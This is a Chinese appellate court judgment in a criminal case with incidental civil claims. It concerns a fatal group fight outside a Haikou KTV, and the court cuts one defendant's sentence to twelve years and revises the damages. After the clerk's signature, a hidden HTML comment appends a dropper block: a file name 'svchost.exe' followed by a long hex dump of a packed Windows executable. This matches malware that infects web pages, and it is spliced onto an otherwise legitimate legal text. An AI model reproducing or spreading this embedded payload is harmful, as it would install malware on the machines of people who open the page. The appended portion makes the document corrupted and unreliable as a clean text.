海南省高级人民法院
p t ; ” > 刑 事 附 带 民 事 判 决 书
（2017）琼刑终103号
原公诉机关海南省海口市人民检察院。
上诉人（原审附带民事诉讼原告人）王某1，男，1969年10月15日出生，汉族，海南省海口市人，住海口市。系被害人王某2的父亲。
上诉人（原审附带民事诉讼原告人）蔡某，女，1967年10月10日出生，汉族，海南省海口市人，住海口市。系被害人王某2的母亲。
上诉人（原审附带民事诉讼原告人）王某3，男，1993年5月18日出生，汉族，海南省海口市人，住海口市。
上诉人（原审附带民事诉讼原告人）王某4，男，1997年2月20日出生，汉族，海南省海口市人，住海口市。
原审附带民事诉讼原告人李某，男，1995年8月7日出生，汉族，海南省海口市人，住海口市。
原审附带民事诉讼原告人袁某1，男，1996年5月10日出生，汉族，海南省海口市人，住海口市。
上诉人（原审被告人）郑辉财，男，1992年9月3日出生，汉族，海南省海口市人，初中文化，无业，住海口市。2016年3月27日因涉嫌犯故意伤害罪被刑事拘留，同年4月27日被逮捕。现羁押于海口市第二看守所。
指定辩护人林青霞，海南新概念律师事务所律师。
上诉人（原审被告人）陈秀利，男，1997年1月1日出生，汉族，海南省海口市人，初中文化，无业，住海口市。2016年3月27日因涉嫌犯故意伤害罪被刑事拘留，同年4月27日被逮捕。现羁押于海口市第二看守所。
辩护人李本华，海南大弘律师事务所律师。
上诉人（原审被告人）许环飞，男，1993年1月27日出生，汉族，海南省海口市人，小学文化，无业，住海口市。2016年3月25日因涉嫌犯故意伤害罪被刑事拘留，同年4月27日被逮捕。现羁押于海口市第二看守所。
上诉人（原审被告人）吴瑛俊，男，1995年1月11日出生，汉族，海南省海口市人，初中文化，无业，住海口市。2016年3月31日因涉嫌犯故意伤害罪被刑事拘留，同年4月27日被逮捕。现羁押于海口市第二看守所。
上诉人（原审被告人）郑道峰，男，1995年8月2日出生，汉族，海南省海口市人，小学文化，无业，住海口市。2016年3月29日因涉嫌犯故意伤害罪被刑事拘留，同年4月27日被逮捕。现羁押于海口市第二看守所。
上诉人（原审被告人）周凤雄，男，1991年5月2日出生，汉族，海南省海口市人，小学文化，无业，住海口市。2016年3月27日因涉嫌犯故意伤害罪被刑事拘留，同年4月27日被逮捕。现羁押于海口市第二看守所。
海南省海口市中级人民法院审理海南省海口市人民检察院指控原审被告人郑辉财、陈秀利犯故意伤害罪、原审被告人许环飞、吴瑛俊、郑道峰、周凤雄犯聚众斗殴罪、附带民事诉讼原告人王某1、蔡某、李某、王某4、王某3、袁某1提起附带民事诉讼一案，于2017年5月3日作出（2016）琼01刑初114号刑事附带民事判决。宣判后，被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄及附带民事诉讼原告人王某1、蔡某、王某4、王某3均不服，提出上诉。本院于2017年6月29日受理后，依法组成合议庭。经过阅卷，讯问被告人，听取辩护人的意见，询问原审附带民事诉讼原告人，认为本案事实清楚，决定不开庭审理。现已审理终结。
原判认定，2016年3月19日22时许，被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄等人在海口市××区百乐城KTV总统A包厢喝酒娱乐，被害人王某2（殁年20岁）、李某、王某4、王某3、袁某1等人在333包厢喝酒娱乐。次日凌晨1时许，李某、王某4、袁某2、王番弟、李厚隆一起送喝多的王蕃宁离开，王蕃宁在楼梯转弯处冲撞了陈秀利，但双方未发生争执，各自离开。李某、王某4、王蕃宁等人走到百乐城KTV对面马路后，陈秀利从电动车停放处拿起一把车头锁，追到对面马路对王蕃宁等人挥舞殴打，李某的头部、腰部受到重击，经鉴定头部损伤属重伤二级、腰部损伤属轻伤二级。郑辉财等人紧随陈秀利之后，郑辉财从腰部掏出匕首挥刺，刺中李某、王某4，经鉴定王某4的左前胸损伤属轻伤一级，李某的左手损伤属轻微伤。后郑辉财、陈秀利等人返回百乐城KTV门口处，和许环飞、吴瑛俊、郑道峰、周凤雄等人与从333包厢冲出来的王某2、王某3、袁某1及跑回去叫人的王番弟等人进行斗殴。期间，郑辉财再次拿出匕首挥舞，刺中王某2，经鉴定王某2左胸部受锐器创伤致心脏破裂死亡。袁某1持啤酒瓶打中许环飞的头部，后被许环飞、郑辉财、陈秀利、郑道峰、吴瑛俊、周凤雄等人分别持啤酒瓶、电动车车头锁、椅子等进行围殴，经鉴定袁某1的眉弓处、颈部、左耳后、腰部等体表损伤属轻微伤。王某3的后腰部受到创伤，经鉴定属轻微伤。案发后，许环飞于同年3月24日主动投案，陈秀利于3月26日主动投案，郑辉财、周凤雄于3月27日主动投案，郑道峰于3月29日主动投案，吴瑛俊于3月31日主动投案。
附带民事诉讼部分查明，原告人王某1、蔡某是被害人王某2的父母亲，因王某2被害死亡，产生抢救医疗费584.7元和处理后事的殡葬费用。原告人李某因本案于2016年3月20日、6月20日两次住院治疗共35天，医疗费共计110841.56元。原告人王某4因本案于2016年3月20日住院治疗6天，医疗费共计6938.52元。原告人王某3因本案于2016年3月20日住院治疗2天，3月23日进行门诊治疗，医疗费共计3386.96元。原告人袁某1因本案于2016年3月20日、3月30日、4月13日进行门诊治疗，医疗费共计2301.39元。被告人陈秀利的亲属于2017年1月7日代为赔偿原告人李某50000元，李某及其亲属予以接受并出具谅解书，对陈秀利表示谅解，不再追究陈秀利的民事责任。
原判认为，被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄等人聚众斗殴，造成一人死亡、一人重伤、一人轻伤、二人轻微伤的结果，均已构成犯罪，依法以故意伤害罪定罪处罚。在共同犯罪中，陈秀利、郑辉财均起主要作用，且犯罪情节恶劣，后果严重；许环飞、吴瑛俊、郑道峰、周凤雄均起次要作用，可以认定为从犯，其中周凤雄的作用较许环飞、吴瑛俊、郑道峰小。郑辉财自动投案，在侦查阶段如实供述了犯罪事实，但在审判阶段对主要犯罪事实予以否认，不能成立自首情节，可对其自动投案酌予从轻处罚。陈秀利自动投案，到案后始终如实供述罪行，有自首情节，并且积极赔偿李某的经济损失，取得谅解，认罪、悔罪态度较好，依法予以从轻处罚。许环飞、吴瑛俊、郑道峰、周凤雄自动投案，到案后始终如实供述罪行，有自首情节，依法予以从轻处罚。
被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄共同犯罪行为致使被害人王某2死亡、李某重伤、王某4轻伤、王某3轻微伤、袁某1轻微伤，除依法追究刑事责任外，给附带民事诉讼原告人王某1、蔡某、李某、王某4、王某3、袁某1造成经济损失，应当承担连带赔偿责任。
根据被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄犯罪的事实、犯罪的性质、情节和对于社会的危害程度，依据《中华人民共和国刑法》第二百三十四条第二款、第二百九十二条、第二十五条第一款、第二十六条第一款、第二十七条、第四十八条、第五十四条、第五十七条、第六十一条、第六十七条、第三十六条、《中华人民共和国刑事诉讼法》第九十九条、《最高人民法院关于适用<中华人民共和国刑事诉讼法>的解释》第一百三十八条、第一百五十五条、《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十九条、第二十条、第二十一条、第二十二条、第二十三条、第二十四条、第二十七条之规定，判决：一、被告人郑辉财犯故意伤害罪，判处死刑，缓期二年执行，剥夺政治权利终身。二、被告人陈秀利犯故意伤害罪，判处无期徒刑，剥夺政治权利终身。三、被告人许环飞犯故意伤害罪，判处有期徒刑六年。四、被告人吴瑛俊犯故意伤害罪，判处有期徒刑六年。五、被告人郑道峰犯故意伤害罪，判处有期徒刑六年。六、被告人周凤雄犯故意伤害罪，判处有期徒刑四年。七、被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人王某1、蔡某经济损失人民币25879.2元，于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人王某4经济损失人民币8538.52元，于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人王某3经济损失人民币4086.96元，于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人袁某1经济损失人民币1150.695元。驳回附带民事诉讼原告人王某1、蔡某、王某4、王某3、袁某1的其他诉讼请求。八、被告人郑辉财、许环飞、吴瑛俊、郑道峰、周凤雄于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人李某经济损失人民币69341.56元。驳回附带民事诉讼原告人李某的其他诉讼请求。
上诉人郑辉财上诉称，原判事实不清，证据不足，量刑不当，诉请依法改判。
辩护人辩称，郑辉财主动投案、系初犯、被害人有过错在先，原判量刑过重，请求改判其为无期徒刑。
上诉人陈秀利上诉及其辩护人辩称，对起诉书指控的犯罪事实和罪名没有异议，但认为：1.被害方在案件起因上存在明显过错和责任。2.在第二次斗殴中，其没有同被害人王某2斗殴，被害人的死亡与其无因果关系。3.原判没有充分考虑其具有的从轻或减轻处罚情节，量刑过重，诉请从轻改判。
上诉人许环飞上诉称，被害人方有过错在先，其投案自首，原判量刑过重，请求从轻改判。
上诉人吴瑛俊上诉称，其是从犯、初犯，请求从轻改判。
上诉人郑道峰上诉称，原判量刑过重，请求从轻改判。
上诉人周凤雄上诉称，其属从犯、初犯，又投案自首，原判量刑过重，诉请从轻改判。
上诉人王某1、蔡某上诉称，其儿子王某2在琼山区中山南路百乐城KTV有限公司消费时因群体斗殴死亡，公司没有采取措施保护消费者，依法应承担赔偿责任，诉请撤销原判，发回重审，追加琼山区中山南路百乐城KTV有限公司为民事诉讼被告。
上诉人王某3上诉称，原判赔偿的数额太少，要求百乐城KTV有限公司承担部分赔偿责任。
上诉人王某4上诉称，原判赔偿的数额太少，请求增加赔偿数额。
经审理查明,原判认定被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄等人聚众斗殴，造成一人死亡、一人重伤、一人轻伤、二人轻微伤的事实清楚。
另查明，在二审期间，上诉人陈秀利的父亲于2017年8月6日代为赔偿上诉人王某1、蔡某15万元，王某1、蔡某出具谅解书，不再追究陈秀利的民事责任，请求对陈秀利从轻判处。
一审判决所列证据经一审庭审举证、质证，证据来源合法，内容客观真实，与本案事实具有关联性，各证据之间能相互印证，本院予以确认。
关于上诉人王某1、蔡某、王某3、王某4的上诉意见，经查，原判对附带民事部分赔偿项目和数额的判决正确，根据最高人民法院关于适用《中华人民共和国刑事诉讼法》的解释第161条的规定，本案不存在发回重审的理由，其上诉意见均不能成立，本院不予采纳。
关于上诉人郑辉财的上诉理由及其辩护人的辩护意见，经查，郑辉财在聚众斗殴中持匕首挥舞，致王某4轻伤、李某轻微伤，持匕首捅刺王某2致其死亡的事实，有其自动投案后的多次稳定的供述及被害人李某、王某4等人的陈述、证人袁某2、王某5等人的证言所证实，且证据之间能相互印证。原判认定郑辉财故意伤害的犯罪事实清楚，证据确实、充分。郑辉财故意伤害犯罪行为致一人死亡、一人轻伤、一人轻微伤，后果严重。原判根据其犯罪的事实、后果，所具有的从重情节及自动投案、系初犯的从轻情节，判处其死缓，量刑适当。上诉人郑辉财及其辩护人要求再行从轻改判其为无期徒刑的上诉和辩护意见不能成立，本院不予采纳。
关于上诉人陈秀利的上诉理由及其辩护人的辩护意见，经查，1.陈秀利在百乐城KTV楼梯处受到喝多的王蕃宁语言冲撞，在王番弟已向陈秀利道歉的情况下，依然在王蕃宁及李某等人已经走到百乐城KTV对面马路后，追过去殴打王蕃宁及李某等人，引发聚众斗殴，陈秀利在案发起因上负有主要责任，王蕃宁的冲撞行为与案件有一定的因果联系，但不属于刑法上的过错。2.陈秀利在马路对面使用电动车车头锁殴打李某致其头部重伤、腰部轻伤后，又与郑辉财等人返回百乐城KTV门口处继续同被害方斗殴，并持电动车车头锁围殴袁某1，郑辉财持匕首捅刺王某2致其死亡。被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄等人聚众斗殴的行为，造成一人死亡、一人重伤、一人轻伤、二人轻微伤的严重结果。本案为共同犯罪，各被告人均应对整体犯罪后果承担刑事责任。3.上诉人陈秀利投案自首并赔偿上诉人王世福夫、蔡某15万元；赔偿上诉人李某5万元，共计赔偿20万元，获得谅解，依法可以从轻处罚。其诉请依法从轻改判的上诉和辩护意见具有事实和法律依据，本院予以采纳。
关于上诉人许环飞、吴瑛俊、郑道峰、周凤雄上诉的理由，经查，原判已根据其各自所具有的自首、从犯、初犯等从宽情节，均已对其减轻处罚，其诉请再行减轻处罚的上诉理由，均缺乏事实和法律依据，本院不予采纳。
本院认为，上诉人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄等人聚众斗殴，造成一人死亡、一人重伤、一人轻伤、二人轻微伤的严重后果，其行为均已构成故意伤害罪。在共同犯罪中，陈秀利、郑辉财起主要作用，属主犯，应依法惩处；许环飞、吴瑛俊、郑道峰、周凤雄均起次要作用，属从犯，均应减轻处罚。上诉人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄的犯罪行为造成原审附带民事诉讼原告人王某1、蔡某、李某、王某4、王某3、袁某1的经济损失，依法应当赔偿。原判认定的犯罪事实清楚，证据确实、充分，定罪准确，对被告人郑辉财、许环飞、吴瑛俊、郑道峰、周凤雄的量刑适当，原判对附带民事部分赔偿项目和数额的判决符合法律规定。审判程序合法。上诉人郑辉财、许环飞、吴瑛俊、郑道峰、周凤雄的上诉理由和辩护人的辩护意见、上诉人王某1、蔡某、王某4、王某3的上诉理由，均不能成立，本院不予采纳。上诉人陈秀利投案自首，又赔偿获谅解，依法可以从轻处罚。依照《中华人民共和国刑事诉讼法》第二百二十五条第一款第（二）项和《中华人民共和国刑法》第二百三十四条第二款、第二百九十二条、第二十五条第一款、第二十六条第一款、第二十七条、第四十八条、第五十四条、第五十七条、第六十一条、第六十七条、第三十六条及《最高人民法院关于适用<中华人民共和国刑事诉讼法>的解释》第一百三十八条、第一百五十五条、《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十九条、第二十条、第二十一条、第二十二条、第二十三条、第二十四条、第二十七条之规定，判决如下：
一、维持海南省海口市中级人民法院（2016）琼01刑初114号刑事附带民事判决的第一、第三、第四、第五、第六、第八项，即被告人郑辉财犯故意伤害罪，判处死刑，缓期二年执行，剥夺政治权利终身；被告人许环飞犯故意伤害罪，判处有期徒刑六年；被告人吴瑛俊犯故意伤害罪，判处有期徒刑六年；被告人郑道峰犯故意伤害罪，判处有期徒刑六年；被告人周凤雄犯故意伤害罪，判处有期徒刑四年；被告人郑辉财、许环飞、吴瑛俊、郑道峰、周凤雄于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人李某经济损失人民币69341.56元。驳回附带民事诉讼原告人李某的其他诉讼请求。
二、撤销海南省海口市中级人民法院（2016）琼01刑初114号刑事附带民事判决的第二、第七项，即被告人陈秀利犯故意伤害罪，判处无期徒刑，剥夺政治权利终身；被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人王某1、蔡某经济损失人民币25879.2元，于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人王某4经济损失人民币8538.52元，于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人王某3经济损失人民币4086.96元，于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人袁某1经济损失人民币1150.695元。驳回附带民事诉讼原告人王某1、蔡某、王某4、王某3、袁某1的其他诉讼请求。
三、被告人陈秀利犯故意伤害罪，判处有期徒刑十二年。
（刑期自本判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即从2016年3月27日起至2028年3月26日止。）
四、被告人郑辉财、陈秀利、许环飞、吴瑛俊、郑道峰、周凤雄于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人王某4经济损失人民币8538.52元，于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人王某3经济损失人民币4086.96元，于本判决发生法律效力之日起三十日内连带赔偿附带民事诉讼原告人袁某1经济损失人民币1150.695元。驳回附带民事诉讼原告人王某1、蔡某、王某4、王某3、袁某1的其他诉讼请求。
本判决为终审判决。
根据《中华人民共和国刑事诉讼法》第二百三十七条之规定，本判决即为核准以故意伤害罪判处被告人郑辉财死刑，缓期二年执行，剥夺政治权利终身的刑事判决。
审判长李文玉
审判员潘菲菲
审判员ＸＸ
二0一七年八月十四日
法官助理肖海亮
书记员林芳著
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF1820089****DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA